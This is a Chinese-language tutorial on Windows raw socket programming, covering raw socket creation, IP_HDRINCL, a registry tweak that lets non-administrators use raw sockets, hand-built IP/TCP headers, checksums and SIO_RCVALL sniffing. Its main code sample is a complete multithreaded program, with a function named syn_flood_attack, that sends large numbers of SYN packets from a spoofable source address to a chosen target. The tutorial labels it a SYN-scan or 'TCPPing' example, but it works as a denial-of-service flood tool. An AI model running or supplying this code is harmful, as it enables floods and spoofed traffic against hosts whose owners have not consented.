Microsoft TCP/IP 組件包含“核心協(xié)議”、“服務(wù)”及兩者之間的“接口”。傳輸驅(qū)動程序接口 (TDI) 與網(wǎng)絡(luò)設(shè)備接口規(guī)范 (NDIS) 是公用的。 此外，還有許多用戶模型應(yīng)用程序的更高級接口。最常用的接口是 Windows Sockets、遠程過程調(diào)用 (RPC) 和 NetBIOS。

Windows Sockets 是一個編程接口，它是在加州大學(xué)伯克利分校開發(fā)的套接字接口的基礎(chǔ)上定義的。它包括了一組擴展件，以充分利用 Microsoft Windows 消息驅(qū)動的特點。規(guī)范的 1.1 版是在 1993 年 1 月發(fā)行的，2.2.0 版在 1996 年 5 月發(fā)行。Windows 2000 支持 Winsock 2.2 版。在Winsock2中，支持多個傳輸協(xié)議的原始套接字，重疊I/O模型、服務(wù)質(zhì)量控制等。

這 里介紹Windows Sockets的一些關(guān)于原始套接字(Raw Socket)的編程。同Winsock1相比，最明顯的就是支持了Raw Socket套接字類型，通過原始套接字，我們可以更加自如地控制Windows下的多種協(xié)議，而且能夠?qū)W(wǎng)絡(luò)底層的傳輸機制進行控制。

1、創(chuàng)建一個原始套接字，并設(shè)置IP頭選項。

SOCKET sock;
sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
或者：
s = WSASoccket(AF_INET,SOCK_RAW,IPPROTO_IP,NULL,0,WSA_FLAG_OVERLAPPED);

這 里，我們設(shè)置了SOCK_RAW標(biāo)志，表示我們聲明的是一個原始套接字類型。創(chuàng)建原始套接字后，IP頭就會包含在接收的數(shù)據(jù)中，如果我們設(shè)定 IP_HDRINCL 選項，那么，就需要自己來構(gòu)造IP頭。注意，如果設(shè)置IP_HDRINCL 選項，那么必須具有 administrator權(quán)限，要不就必須修改注冊表：
HKEY_LOCAL_MacHINE/System/CurrentControlSet/Services/Afd/Parameter/
修改鍵：DisableRawSecurity（類型為DWord），把值修改為 1。如果沒有，就添加。

BOOL blnFlag=TRUE;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&blnFlag, sizeof(blnFlag);

對于原始套接字在接收數(shù)據(jù)報的時候，要注意這么幾點：
1、如果接收的數(shù)據(jù)報中協(xié)議類型和定義的原始套接字匹配，那么，接收的所有數(shù)據(jù)就拷貝到套接字中。
2、如果綁定了本地地址，那么只有接收數(shù)據(jù)IP頭中對應(yīng)的遠端地址匹配，接收的數(shù)據(jù)就拷貝到套接字中。
3、如果定義的是外部地址，比如使用connect()，那么，只有接收數(shù)據(jù)IP頭中對應(yīng)的源地址匹配，接收的數(shù)據(jù)就拷貝到套接字中。

2、構(gòu)造IP頭和TCP頭

這里，提供IP頭和TCP頭的結(jié)構(gòu)：

// Standard TCP flags
#define URG 0x20
#define ACK 0x10
#define PSH 0x08
#define RST 0x04
#define SYN 0x02
#define FIN 0x01
typedef struct _iphdr //定義IP首部
{
unsigned char h_lenver; //4位首部長度+4位IP版本號
unsigned char tos; //8位服務(wù)類型TOS
unsigned short total_len; //16位總長度（字節(jié)）
unsigned short ident; //16位標(biāo)識
unsigned short frag_and_flags; //3位標(biāo)志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;

typedef struct psd_hdr //定義TCP偽首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //協(xié)議類型
unsigned short tcpl; //TCP長度
}PSD_HEADER;

typedef struct _tcphdr //定義TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列號
unsigned int th_ack; //32位確認(rèn)號
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag; //6位標(biāo)志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校驗和
USHORT th_urp; //16位緊急數(shù)據(jù)偏移量
}TCP_HEADER;

TCP偽首部并不是真正存在的，只是用于計算檢驗和。校驗和函數(shù)：

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

當(dāng)需要自己填充IP頭部和TCP頭部的時候，就同時需要自己計算他們的檢驗和。
3、發(fā)送原始套接字?jǐn)?shù)據(jù)報

填充這些頭部稍微麻煩點，發(fā)送就相對簡單多了。只需要使用sendto()就OK。

sendto(sock, (char*)&tcpHeader, sizeof(tcpHeader), 0, (sockaddr*)&addr_in,sizeof(addr_in));

下面是一個示例程序，可以作為SYN掃描的一部分。

發(fā)送:

// fistippacket.cpp : 定義控制臺應(yīng)用程序的入口點。
//

#include "stdafx.h"
#include <winsock2.h>
#include <ws2tcpip.h> 
#include <windows.h>

//What new functionality is added to this feature in Windows XP Service Pack 2?
//Restricted traffic over raw sockets
//Detailed description 
//
//A very small number of Windows applications make use of raw IP sockets, which provide an industry-standard way for applications to create TCP/IP packets with fewer integrity and security checks by the TCP/IP stack. The Windows implementation of TCP/IP still supports receiving traffic on raw IP sockets. However, the ability to send traffic over raw sockets has been restricted in two ways:
//
//TCP data cannot be sent over raw sockets.
//
//UDP datagrams with invalid source addresses cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. 
//
//Why is this change important? What threats does it help mitigate? 
//
//This change limits the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets, which are TCP/IP packets with a forged source IP address.
//
//Regards,
//
//Nelson.
//


static unsigned int s_sendount =1000;
static char s_destip[100]="";
static int    s_destport   =0;
static char s_srcip[100] ="";
static int    s_srcport    =0;

#define SOURCE_PORT 7234 
#define MAX_RECEIVEBYTE 255 
#pragma pack(push,1)
typedef struct ip_hdr //定義IP首部 
...{ 
    unsigned char h_verlen; //4位首部長度,4位IP版本號 
    unsigned char tos; //8位服務(wù)類型TOS 
    unsigned short total_len; //16位總長度（字節(jié)） 
    unsigned short ident; //16位標(biāo)識 
    unsigned short frag_and_flags; //3位標(biāo)志位 
    unsigned char ttl; //8位生存時間 TTL 
    unsigned char proto; //8位協(xié)議 (TCP, UDP 或其他) 
    unsigned short checksum; //16位IP首部校驗和 
    unsigned int sourceIP; //32位源IP地址 
    unsigned int destIP; //32位目的IP地址 
}IPHEADER; 

typedef struct tsd_hdr //定義TCP偽首部 
...{ 
    unsigned long saddr; //源地址 
    unsigned long daddr; //目的地址 
    char mbz; 
    char ptcl; //協(xié)議類型 
    unsigned short tcpl; //TCP長度 
}PSDHEADER; 

typedef struct tcp_hdr //定義TCP首部 
...{ 
    USHORT th_sport; //16位源端口 
    USHORT th_dport; //16位目的端口 
    unsigned int th_seq; //32位序列號 
    unsigned int th_ack; //32位確認(rèn)號 
    unsigned char th_lenres; //4位首部長度/6位保留字 
    unsigned char th_flag; //6位標(biāo)志位 
    USHORT th_win; //16位窗口大小 
    USHORT th_sum; //16位校驗和 
    USHORT th_urp; //16位緊急數(shù)據(jù)偏移量 
}TCPHEADER; 

#pragma pack(pop)

//CheckSum:計算校驗和的子函數(shù) 
USHORT checksum(USHORT *buffer, int size) 
...{ 
    unsigned long cksum=0; 
    while(size >1) 
    ...{ 
        cksum+=*buffer++; 
        size -=sizeof(USHORT); 
    } 
    if(size ) 
    ...{ 
        cksum += *(UCHAR*)buffer; 
    } 

    cksum = (cksum >> 16) + (cksum & 0xffff); 
    cksum += (cksum >>16); 
    return (USHORT)(~cksum); 
} 

void useage() 
...{ 
    printf("****************************************** "); 
    printf("TCPPing "); 
    printf("Useage: TCPPing.exe Target_ip Target_port Source_ip source_port sendcount threadnum "); 
    printf("******************************************* "); 
} 


int syn_flood_attack(const char* destip, int destport, const char * srcip, int srcport)
...{
    SOCKET sock; 
    SOCKADDR_IN addr_in; 
    IPHEADER ipHeader; 
    TCPHEADER tcpHeader; 
    PSDHEADER psdHeader; 

    char szSendBuf[60]=...{0}; 
    BOOL flag; 
    int rect,nTimeOver; 
    if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
    //if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==INVALID_SOCKET)
    ...{ 
        printf("Socket Setup Error! "); 
        return false; 
    } 
    flag=true; 
    if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) 
    ...{ 
        printf("setsockopt IP_HDRINCL error! "); 
        return false; 
    } 

    nTimeOver=1000; 
    if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) 
    ...{ 
        printf("setsockopt SO_SNDTIMEO error! "); 
        return false; 
    } 
    addr_in.sin_family=AF_INET; 
    addr_in.sin_port=htons(destport);  //目標(biāo)端口
    addr_in.sin_addr.S_un.S_addr=inet_addr(destip); //目標(biāo)IP

    // 
    //填充IP首部 
    //
    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 

    // ipHeader.tos=0; 
    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
    ipHeader.ident=1; 
    ipHeader.frag_and_flags=0; 
    ipHeader.ttl=128; 
    ipHeader.proto=IPPROTO_TCP; 
    ipHeader.checksum=0; 
    ipHeader.sourceIP=inet_addr(srcip); //src ip
    ipHeader.destIP=inet_addr(destip); //dest ip

    //填充TCP首部 
    tcpHeader.th_dport=htons(destport);  //目標(biāo)端口
    tcpHeader.th_sport=htons(srcport); //源端口號 
    tcpHeader.th_seq=htonl(0x12345678); 
    tcpHeader.th_ack=0; 
    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
    tcpHeader.th_flag=2; //修改這里來實現(xiàn)不同的標(biāo)志位探測，2是SYN，1是FIN，16是ACK探測 等等 
    tcpHeader.th_win=htons(512); 
    tcpHeader.th_urp=0; 
    tcpHeader.th_sum=0; 

    psdHeader.saddr=ipHeader.sourceIP; 
    psdHeader.daddr=ipHeader.destIP; 
    psdHeader.mbz=0; 
    psdHeader.ptcl=IPPROTO_TCP; 
    psdHeader.tcpl=htons(sizeof(tcpHeader)); 

    //計算校驗和 
    memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
    memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
    tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); 

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 
    memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
    memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); 
    ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 


    for(DWORD i=0;i<s_sendount;i++)
    ...{
        rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 
            0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
        if (rect==SOCKET_ERROR) 
        ...{ 
            printf("send error!:%d ",WSAGetLastError()); 
            return FALSE; 
        } 
        else 
            printf("send ok! %d ",rect); 
    }

    closesocket(sock); 

    return 0;
}


 DWORD WINAPI WORKER_THREAD(
    LPVOID lpThreadParameter
    )
 ...{
     return syn_flood_attack(s_destip,s_destport,s_srcip,s_srcport);
 }

int _tmain(int argc, _TCHAR* argv[])
...{
    
    
    WSADATA WSAData; 
    
    
    

    if (argc!= 7) 
    ...{ 
        useage(); 
        return false; 
    } 

    if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) 
    ...{ 
        printf("WSAStartup Error! "); 
        return false; 
    } 
    
    int i = atoi(argv[5]);
    memcpy(&s_sendount,&i,sizeof(i));
    int tn = atoi(argv[6]);
    strncpy(s_destip,argv[1],99);
    s_destport =  atoi(argv[2]);
    strncpy(s_srcip,argv[3],99);
    s_srcport =  atoi(argv[4]);
    
    HANDLE *ths = new HANDLE[tn];

    for(i=0;i<tn;i++)
    ...{
        ths[i]=CreateThread(0,0,WORKER_THREAD,NULL,0,NULL);
    }

    for(i=0;i<tn;i++)
    ...{
        WaitForSingleObject(ths[i],INFINITE);
        CloseHandle(ths[i]);
    }

    WSACleanup(); 

    return 0; 
}

4、接收數(shù)據(jù)
和 發(fā)送原始套接字?jǐn)?shù)據(jù)相比，接收就比較麻煩了。因為在WIN我們不能用recv()來接收raw socket上的數(shù)據(jù)，這是因為，所有的IP包都是先遞交給系統(tǒng)核心，然后再傳輸?shù)接脩舫绦颍?dāng)發(fā)送一個raws socket包的時候（比如syn），核心并不知道，也沒有這個數(shù)據(jù)被發(fā)送或者連接建立的記錄，因此，當(dāng)遠端主機回應(yīng)的時候，系統(tǒng)核心就把這些包都全部丟 掉，從而到不了應(yīng)用程序上。所以，就不能簡單地使用接收函數(shù)來接收這些數(shù)據(jù)報。

要達到接收數(shù)據(jù)的目的，就必須采用嗅探，接收所有通過的數(shù)據(jù)包，然后進行篩選，留下符合我們需要的。可以再定義一個原始套接字，用來完成接收數(shù)據(jù)的任務(wù)，需要設(shè)置SIO_RCVALL，表示接收所有的數(shù)據(jù)。

SOCKET sniffersock;
sniffsock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED);

DWORD lpvBuffer = 1;
DWORD lpcbBytesReturned = 0 ;
WSAIoctl(sniffersock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, & lpcbBytesReturned, NULL, NULL);

創(chuàng)建一個用于接收數(shù)據(jù)的原始套接字，我們可以用接收函數(shù)來接收數(shù)據(jù)包了。然后在使用一個過濾函數(shù)達到篩選的目的，接收我們需要的數(shù)據(jù)包。